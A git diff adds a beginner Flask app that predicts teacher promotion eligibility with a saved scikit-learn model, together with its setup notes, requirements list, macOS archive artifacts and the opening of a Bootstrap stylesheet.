/dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/._vendor differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__alert.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__alert.scss new file mode 100644 index 00000000..0e945bc7 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__alert.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__background-variant.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__background-variant.scss new file mode 100644 index 00000000..45ff440f Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__background-variant.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__badge.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__badge.scss new file mode 100644 index 00000000..2a256b9d Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__badge.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__border-radius.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__border-radius.scss new file mode 100644 index 00000000..7df2d62a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__border-radius.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__box-shadow.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__box-shadow.scss new file mode 100644 index 00000000..251245fc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__box-shadow.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__breakpoints.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__breakpoints.scss new file mode 100644 index 00000000..20cc1a16 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__breakpoints.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__buttons.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__buttons.scss new file mode 100644 index 00000000..b54ea549 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__buttons.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__caret.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__caret.scss new file mode 100644 index 00000000..8b07535b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__caret.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__clearfix.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__clearfix.scss new file mode 100644 index 00000000..bc0937fc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__clearfix.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__deprecate.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__deprecate.scss new file mode 100644 index 00000000..1096f52c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__deprecate.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__float.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__float.scss new file mode 100644 index 00000000..8f304bb0 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__float.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__forms.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__forms.scss new file mode 100644 index 00000000..b7feff65 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__forms.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__gradients.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__gradients.scss new file mode 100644 index 00000000..21cb905c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__gradients.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid-framework.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid-framework.scss new file mode 100644 index 00000000..ec3d87b2 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid-framework.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid.scss new file mode 100644 index 00000000..961232d9 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__grid.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__hover.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__hover.scss new file mode 100644 index 00000000..3a909d67 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__hover.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__image.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__image.scss new file mode 100644 index 00000000..2045f174 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__image.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__list-group.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__list-group.scss new file mode 100644 index 00000000..0ae76cd0 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__list-group.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__lists.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__lists.scss new file mode 100644 index 00000000..98f86817 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__lists.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__nav-divider.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__nav-divider.scss new file mode 100644 index 00000000..11cf0138 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__nav-divider.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__pagination.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__pagination.scss new file mode 100644 index 00000000..0bc01df2 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__pagination.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__reset-text.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__reset-text.scss new file mode 100644 index 00000000..e7d41e16 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__reset-text.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__resize.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__resize.scss new file mode 100644 index 00000000..11ef2411 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__resize.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__screen-reader.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__screen-reader.scss new file mode 100644 index 00000000..54b1b5eb Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__screen-reader.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__size.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__size.scss new file mode 100644 index 00000000..c0577edc Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__size.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__table-row.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__table-row.scss new file mode 100644 index 00000000..62dd052e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__table-row.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-emphasis.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-emphasis.scss new file mode 100644 index 00000000..0d3e0d53 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-emphasis.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-hide.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-hide.scss new file mode 100644 index 00000000..9d51e51a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-hide.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-truncate.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-truncate.scss new file mode 100644 index 00000000..82c1deed Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__text-truncate.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__transition.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__transition.scss new file mode 100644 index 00000000..cfe5e965 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__transition.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__visibility.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__visibility.scss new file mode 100644 index 00000000..c2220ea6 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/mixins/.__visibility.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__align.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__align.scss new file mode 100644 index 00000000..89eab5a4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__align.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__background.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__background.scss new file mode 100644 index 00000000..05bbb259 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__background.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__borders.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__borders.scss new file mode 100644 index 00000000..10aa3847 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__borders.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__clearfix.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__clearfix.scss new file mode 100644 index 00000000..bdff0fb8 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__clearfix.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__display.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__display.scss new file mode 100644 index 00000000..491461bd Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__display.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__embed.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__embed.scss new file mode 100644 index 00000000..7780ae95 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__embed.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__flex.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__flex.scss new file mode 100644 index 00000000..bbd9cfae Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__flex.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__float.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__float.scss new file mode 100644 index 00000000..9decf6b4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__float.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__overflow.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__overflow.scss new file mode 100644 index 00000000..d1e33980 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__overflow.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__position.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__position.scss new file mode 100644 index 00000000..33a90b83 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__position.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__screenreaders.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__screenreaders.scss new file mode 100644 index 00000000..d55cab24 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__screenreaders.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__shadows.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__shadows.scss new file mode 100644 index 00000000..aed30685 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__shadows.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__sizing.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__sizing.scss new file mode 100644 index 00000000..be76a8c4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__sizing.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__spacing.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__spacing.scss new file mode 100644 index 00000000..57aabea9 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__spacing.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__stretched-link.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__stretched-link.scss new file mode 100644 index 00000000..784cea6b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__stretched-link.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__text.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__text.scss new file mode 100644 index 00000000..56ef8219 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__text.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__visibility.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__visibility.scss new file mode 100644 index 00000000..84b10b75 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/utilities/.__visibility.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/vendor/.__rfs.scss b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/vendor/.__rfs.scss new file mode 100644 index 00000000..47b33e32 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/scss/bootstrap/vendor/.__rfs.scss differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/learn.md b/FLASK PROJECTS/Teacher Promotion Flask API/learn.md new file mode 100644 index 00000000..ce013625 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/learn.md @@ -0,0 +1 @@ +hello diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/load_process_prediction.py b/FLASK PROJECTS/Teacher Promotion Flask API/load_process_prediction.py new file mode 100644 index 00000000..e029cf15 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/load_process_prediction.py @@ -0,0 +1,31 @@ +import numpy as np +from sklearn.ensemble import RandomForestClassifier +import joblib + +def label_encoder(x): + if x == 'M': + return 1 + elif x == 'E': + return 2 + elif x == 'E+': + return 3 + elif x == 'S': + return 4 + + +def process_and_predict(data): + #process the data + data = (np.array(data)).reshape(1, -1) + + #load the model + model = joblib.load('model') + + #model prediction + prediction = list(model.predict(data))[0] + + if prediction == 0: + text = "Not Eligible" + elif prediction == 1: + text = "Eligible" + + return text diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/main.py b/FLASK PROJECTS/Teacher Promotion Flask API/main.py new file mode 100644 index 00000000..44e3fc90 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/main.py @@ -0,0 +1,34 @@ +from flask import Flask, render_template, request, redirect +from load_process_prediction import label_encoder, process_and_predict + +#Declaring the flask object +app = Flask(__name__) + + +#defining the home route +@app.route('/') +def home(): + return render_template('index.html') + + +#defing the result route +@app.route('/result', methods=['GET', 'POST']) +def result(): + if request.method == 'POST': #use args if using get method + firstName = request.form['fname'] + lastName = request.form['lname'] + age = request.form['age'] + experience = request.form['experience'] + grade = request.form['grade'] + lastPromotion = request.form['lpromotion'] + promo1 = request.form['promo1'] + promo2 = request.form['promo2'] + promo3 = request.form['promo3'] + data = [age, experience, grade, lastPromotion, label_encoder(promo1), label_encoder(promo2), label_encoder(promo3)] + prediction = process_and_predict(data) + + #redirecting the user to the page + return render_template('result.html', firstName=firstName, lastName=lastName, prediction=prediction) + else: + return redirect('/') + diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/manual.txt b/FLASK PROJECTS/Teacher Promotion Flask API/manual.txt new file mode 100644 index 00000000..17095ccb --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/manual.txt @@ -0,0 +1,16 @@ +pip install -r requirements.txt + +1) open the terminal +2) change the working directory to the flask_api +3) execute the below commands + pip3 install pipenv + pipenv install + pipenv shell + +4) install the following packages + pip install -r requirements.txt + +5) execute the following commands + set FLASK_APP=main.py + set FLASK_ENV=development + flask run \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/model b/FLASK PROJECTS/Teacher Promotion Flask API/model new file mode 100644 index 00000000..a4a422e4 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/model differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/requirements.txt b/FLASK PROJECTS/Teacher Promotion Flask API/requirements.txt new file mode 100644 index 00000000..5d8c34e1 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/requirements.txt @@ -0,0 +1,17 @@ +click==8.1.3 +colorama==0.4.5 +et-xmlfile==1.1.0 +flashtext==2.7 +Flask==2.1.3 +importlib-metadata==4.12.0 +itsdangerous==2.1.2 +Jinja2==3.1.2 +joblib==1.1.0 +MarkupSafe==2.1.1 +numpy==1.23.1 +openpyxl==3.0.10 +scikit-learn==1.1.1 +scipy==1.8.1 +threadpoolctl==3.1.0 +Werkzeug==2.1.2 +zipp==3.8.1 diff --git a/.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/.DS_Store similarity index 55% rename from .DS_Store rename to FLASK PROJECTS/Teacher Promotion Flask API/static/css/.DS_Store index 6a5430af..5008ddfc 100644 Binary files a/.DS_Store and b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css new file mode 100644 index 00000000..7ed65980 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors + * Copyright 2011-2019 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fb771a;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#fb771a;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,:after,:before{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0, 0, 0, 0)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#fb771a;text-decoration:none;background-color:transparent}a:hover{color:#c55303;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:0.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto 